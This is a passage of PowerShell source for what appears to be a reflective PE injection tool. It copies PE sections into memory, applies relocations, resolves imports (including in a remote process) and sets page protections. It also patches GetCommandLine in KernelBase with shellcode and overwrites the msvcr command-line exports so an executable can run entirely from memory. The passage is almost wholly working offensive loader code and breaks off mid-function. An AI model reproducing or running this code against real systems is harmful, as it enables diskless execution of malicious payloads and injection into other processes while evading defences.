  1426.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1427.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1428.        
  1429.             #Address to copy the section to
  1430.             [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
  1431.            
  1432.             #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
  1433.             #    in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
  1434.             #    SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
  1435.             #    so truncate SizeOfRawData to VirtualSize
  1436.             $SizeOfRawData = $SectionHeader.SizeOfRawData
  1437.  
  1438.             if ($SectionHeader.PointerToRawData -eq 0)
  1439.             {
  1440.                 $SizeOfRawData = 0
  1441.             }
  1442.            
  1443.             if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
  1444.             {
  1445.                 $SizeOfRawData = $SectionHeader.VirtualSize
  1446.             }
  1447.            
  1448.             if ($SizeOfRawData -gt 0)
  1449.             {
  1450.                 Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
  1451.                 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
  1452.             }
  1453.        
  1454.             #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
  1455.             if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
  1456.             {
  1457.                 $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
  1458.                 [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
  1459.                 Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
  1460.                 $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
  1461.             }
  1462.         }
  1463.     }
  1464.  
  1465.  
  1466.     Function Update-MemoryAddresses
  1467.     {
  1468.         Param(
  1469.         [Parameter(Position = 0, Mandatory = $true)]
  1470.         [System.Object]
  1471.         $PEInfo,
  1472.        
  1473.         [Parameter(Position = 1, Mandatory = $true)]
  1474.         [Int64]
  1475.         $OriginalImageBase,
  1476.        
  1477.         [Parameter(Position = 2, Mandatory = $true)]
  1478.         [System.Object]
  1479.         $Win32Constants,
  1480.        
  1481.         [Parameter(Position = 3, Mandatory = $true)]
  1482.         [System.Object]
  1483.         $Win32Types
  1484.         )
  1485.        
  1486.         [Int64]$BaseDifference = 0
  1487.         $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
  1488.         [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1489.        
  1490.         #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
  1491.         if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
  1492.                 -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
  1493.         {
  1494.             return
  1495.         }
  1496.  
  1497.  
  1498.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
  1499.         {
  1500.             $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
  1501.             $AddDifference = $false
  1502.         }
  1503.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
  1504.         {
  1505.             $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
  1506.         }
  1507.        
  1508.         #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
  1509.         [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
  1510.         while($true)
  1511.         {
  1512.             #If SizeOfBlock == 0, we are done
  1513.             $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1514.  
  1515.             if ($BaseRelocationTable.SizeOfBlock -eq 0)
  1516.             {
  1517.                 break
  1518.             }
  1519.  
  1520.             [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
  1521.             $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
  1522.  
  1523.             #Loop through each relocation
  1524.             for($i = 0; $i -lt $NumRelocations; $i++)
  1525.             {
  1526.                 #Get info for this relocation
  1527.                 $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
  1528.                 [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
  1529.  
  1530.                 #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
  1531.                 [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
  1532.                 [UInt16]$RelocType = $RelocationInfo -band 0xF000
  1533.                 for ($j = 0; $j -lt 12; $j++)
  1534.                 {
  1535.                     $RelocType = [Math]::Floor($RelocType / 2)
  1536.                 }
  1537.  
  1538.                 #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
  1539.                 #This appears to be true for EXE's as well.
  1540.                 #   Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
  1541.                 if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
  1542.                         -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
  1543.                 {          
  1544.                     #Get the current memory address and update it based off the difference between PE expected base address and actual base address
  1545.                     [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
  1546.                     [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
  1547.        
  1548.                     if ($AddDifference -eq $true)
  1549.                     {
  1550.                         [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1551.                     }
  1552.                     else
  1553.                     {
  1554.                         [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1555.                     }              
  1556.  
  1557.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
  1558.                 }
  1559.                 elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
  1560.                 {
  1561.                     #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
  1562.                     Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
  1563.                 }
  1564.             }
  1565.            
  1566.             $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
  1567.         }
  1568.     }
  1569.  
  1570.  
  1571.     Function Import-DllImports
  1572.     {
  1573.         Param(
  1574.         [Parameter(Position = 0, Mandatory = $true)]
  1575.         [System.Object]
  1576.         $PEInfo,
  1577.        
  1578.         [Parameter(Position = 1, Mandatory = $true)]
  1579.         [System.Object]
  1580.         $Win32Functions,
  1581.        
  1582.         [Parameter(Position = 2, Mandatory = $true)]
  1583.         [System.Object]
  1584.         $Win32Types,
  1585.        
  1586.         [Parameter(Position = 3, Mandatory = $true)]
  1587.         [System.Object]
  1588.         $Win32Constants,
  1589.        
  1590.         [Parameter(Position = 4, Mandatory = $false)]
  1591.         [IntPtr]
  1592.         $RemoteProcHandle
  1593.         )
  1594.        
  1595.         $RemoteLoading = $false
  1596.         if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
  1597.         {
  1598.             $RemoteLoading = $true
  1599.         }
  1600.        
  1601.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  1602.         {
  1603.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  1604.            
  1605.             while ($true)
  1606.             {
  1607.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  1608.                
  1609.                 #If the structure is null, it signals that this is the end of the array
  1610.                 if ($ImportDescriptor.Characteristics -eq 0 `
  1611.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  1612.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  1613.                         -and $ImportDescriptor.Name -eq 0 `
  1614.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  1615.                 {
  1616.                     Write-Verbose "Done importing DLL imports"
  1617.                     break
  1618.                 }
  1619.  
  1620.                 $ImportDllHandle = [IntPtr]::Zero
  1621.                 $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
  1622.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1623.                
  1624.                 if ($RemoteLoading -eq $true)
  1625.                 {
  1626.                     $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
  1627.                 }
  1628.                 else
  1629.                 {
  1630.                     $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
  1631.                 }
  1632.  
  1633.                 if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
  1634.                 {
  1635.                     throw "Error importing DLL, DLLName: $ImportDllPath"
  1636.                 }
  1637.                
  1638.                 #Get the first thunk, then loop through all of them
  1639.                 [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
  1640.                 [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
  1641.                 [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1642.                
  1643.                 while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
  1644.                 {
  1645.                     $LoadByOrdinal = $false
  1646.                     [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
  1647.                     #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
  1648.                     #   If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
  1649.                     #   and doing the comparison, just see if it is less than 0
  1650.                     [IntPtr]$NewThunkRef = [IntPtr]::Zero
  1651.                     if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
  1652.                     {
  1653.                         [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
  1654.                         $LoadByOrdinal = $true
  1655.                     }
  1656.                     elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
  1657.                     {
  1658.                         [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
  1659.                         $LoadByOrdinal = $true
  1660.                     }
  1661.                     else
  1662.                     {
  1663.                         [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
  1664.                         $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
  1665.                         $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
  1666.                         $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
  1667.                     }
  1668.                    
  1669.                     if ($RemoteLoading -eq $true)
  1670.                     {
  1671.                         [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
  1672.                     }
  1673.                     else
  1674.                     {
  1675.                         [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
  1676.                     }
  1677.                    
  1678.                     if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
  1679.                     {
  1680.                         if ($LoadByOrdinal)
  1681.                         {
  1682.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
  1683.                         }
  1684.                         else
  1685.                         {
  1686.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
  1687.                         }
  1688.                     }
  1689.  
  1690.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
  1691.                    
  1692.                     $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1693.                     [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1694.                     [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1695.  
  1696.                     #Cleanup
  1697.                     #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
  1698.                     if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
  1699.                     {
  1700.                         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
  1701.                         $ProcedureNamePtr = [IntPtr]::Zero
  1702.                     }
  1703.                 }
  1704.                
  1705.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  1706.             }
  1707.         }
  1708.     }
  1709.  
  1710.     Function Get-VirtualProtectValue
  1711.     {
  1712.         Param(
  1713.         [Parameter(Position = 0, Mandatory = $true)]
  1714.         [UInt32]
  1715.         $SectionCharacteristics
  1716.         )
  1717.        
  1718.         $ProtectionFlag = 0x0
  1719.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
  1720.         {
  1721.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1722.             {
  1723.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1724.                 {
  1725.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
  1726.                 }
  1727.                 else
  1728.                 {
  1729.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
  1730.                 }
  1731.             }
  1732.             else
  1733.             {
  1734.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1735.                 {
  1736.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
  1737.                 }
  1738.                 else
  1739.                 {
  1740.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
  1741.                 }
  1742.             }
  1743.         }
  1744.         else
  1745.         {
  1746.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1747.             {
  1748.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1749.                 {
  1750.                     $ProtectionFlag = $Win32Constants.PAGE_READWRITE
  1751.                 }
  1752.                 else
  1753.                 {
  1754.                     $ProtectionFlag = $Win32Constants.PAGE_READONLY
  1755.                 }
  1756.             }
  1757.             else
  1758.             {
  1759.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1760.                 {
  1761.                     $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
  1762.                 }
  1763.                 else
  1764.                 {
  1765.                     $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
  1766.                 }
  1767.             }
  1768.         }
  1769.        
  1770.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
  1771.         {
  1772.             $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
  1773.         }
  1774.        
  1775.         return $ProtectionFlag
  1776.     }
  1777.  
  1778.     Function Update-MemoryProtectionFlags
  1779.     {
  1780.         Param(
  1781.         [Parameter(Position = 0, Mandatory = $true)]
  1782.         [System.Object]
  1783.         $PEInfo,
  1784.        
  1785.         [Parameter(Position = 1, Mandatory = $true)]
  1786.         [System.Object]
  1787.         $Win32Functions,
  1788.        
  1789.         [Parameter(Position = 2, Mandatory = $true)]
  1790.         [System.Object]
  1791.         $Win32Constants,
  1792.        
  1793.         [Parameter(Position = 3, Mandatory = $true)]
  1794.         [System.Object]
  1795.         $Win32Types
  1796.         )
  1797.        
  1798.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1799.         {
  1800.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1801.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1802.             [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
  1803.            
  1804.             [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
  1805.             [UInt32]$SectionSize = $SectionHeader.VirtualSize
  1806.            
  1807.             [UInt32]$OldProtectFlag = 0
  1808.             Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
  1809.             $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
  1810.             if ($Success -eq $false)
  1811.             {
  1812.                 Throw "Unable to change memory protection"
  1813.             }
  1814.         }
  1815.     }
  1816.    
  1817.     #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
  1818.     #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
  1819.     Function Update-ExeFunctions
  1820.     {
  1821.         Param(
  1822.         [Parameter(Position = 0, Mandatory = $true)]
  1823.         [System.Object]
  1824.         $PEInfo,
  1825.        
  1826.         [Parameter(Position = 1, Mandatory = $true)]
  1827.         [System.Object]
  1828.         $Win32Functions,
  1829.        
  1830.         [Parameter(Position = 2, Mandatory = $true)]
  1831.         [System.Object]
  1832.         $Win32Constants,
  1833.        
  1834.         [Parameter(Position = 3, Mandatory = $true)]
  1835.         [String]
  1836.         $ExeArguments,
  1837.        
  1838.         [Parameter(Position = 4, Mandatory = $true)]
  1839.         [IntPtr]
  1840.         $ExeDoneBytePtr
  1841.         )
  1842.        
  1843.         #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
  1844.         $ReturnArray = @()
  1845.        
  1846.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1847.         [UInt32]$OldProtectFlag = 0
  1848.        
  1849.         [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
  1850.         if ($Kernel32Handle -eq [IntPtr]::Zero)
  1851.         {
  1852.             throw "Kernel32 handle null"
  1853.         }
  1854.        
  1855.         [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
  1856.         if ($KernelBaseHandle -eq [IntPtr]::Zero)
  1857.         {
  1858.             throw "KernelBase handle null"
  1859.         }
  1860.  
  1861.         #################################################
  1862.         #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
  1863.         #   We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
  1864.         $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1865.         $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1866.    
  1867.         [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
  1868.         [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
  1869.  
  1870.         if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
  1871.         {
  1872.             throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
  1873.         }
  1874.  
  1875.         #Prepare the shellcode
  1876.         [Byte[]]$Shellcode1 = @()
  1877.         if ($PtrSize -eq 8)
  1878.         {
  1879.             $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
  1880.         }
  1881.         $Shellcode1 += 0xb8
  1882.        
  1883.         [Byte[]]$Shellcode2 = @(0xc3)
  1884.         $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
  1885.        
  1886.        
  1887.         #Make copy of GetCommandLineA and GetCommandLineW
  1888.         $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1889.         $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1890.         $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
  1891.         $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
  1892.         $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
  1893.         $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
  1894.  
  1895.         #Overwrite GetCommandLineA
  1896.         [UInt32]$OldProtectFlag = 0
  1897.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1898.         if ($Success = $false)
  1899.         {
  1900.             throw "Call to VirtualProtect failed"
  1901.         }
  1902.        
  1903.         $GetCommandLineAAddrTemp = $GetCommandLineAAddr
  1904.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
  1905.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
  1906.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
  1907.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
  1908.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
  1909.        
  1910.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1911.        
  1912.        
  1913.         #Overwrite GetCommandLineW
  1914.         [UInt32]$OldProtectFlag = 0
  1915.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1916.         if ($Success = $false)
  1917.         {
  1918.             throw "Call to VirtualProtect failed"
  1919.         }
  1920.        
  1921.         $GetCommandLineWAddrTemp = $GetCommandLineWAddr
  1922.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
  1923.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
  1924.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
  1925.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
  1926.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
  1927.        
  1928.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1929.         #################################################
  1930.        
  1931.        
  1932.         #################################################
  1933.         #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
  1934.         #   I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
  1935.         #   It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
  1936.         #   argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
  1937.         $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
  1938.             , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
  1939.        
  1940.         foreach ($Dll in $DllList)
  1941.         {
  1942.             [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
  1943.             if ($DllHandle -ne [IntPtr]::Zero)
  1944.             {
  1945.                 [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
  1946.                 [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
  1947.                 if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
  1948.                 {
  1949.                     "Error, couldn't find _wcmdln or _acmdln"
  1950.                 }
  1951.                
  1952.                 $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1953.                 $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1954.                
  1955.                 #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
  1956.                 $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
  1957.                 $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
  1958.                 $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1959.                 $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1960.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
  1961.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
  1962.                 $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
  1963.                 $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
  1964.                
  1965.                 $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1966.                 if ($Success = $false)
  1967.                 {
  1968.                     throw "Call to VirtualProtect failed"
  1969.                 }
  1970.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
  1971.                 $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1972.                
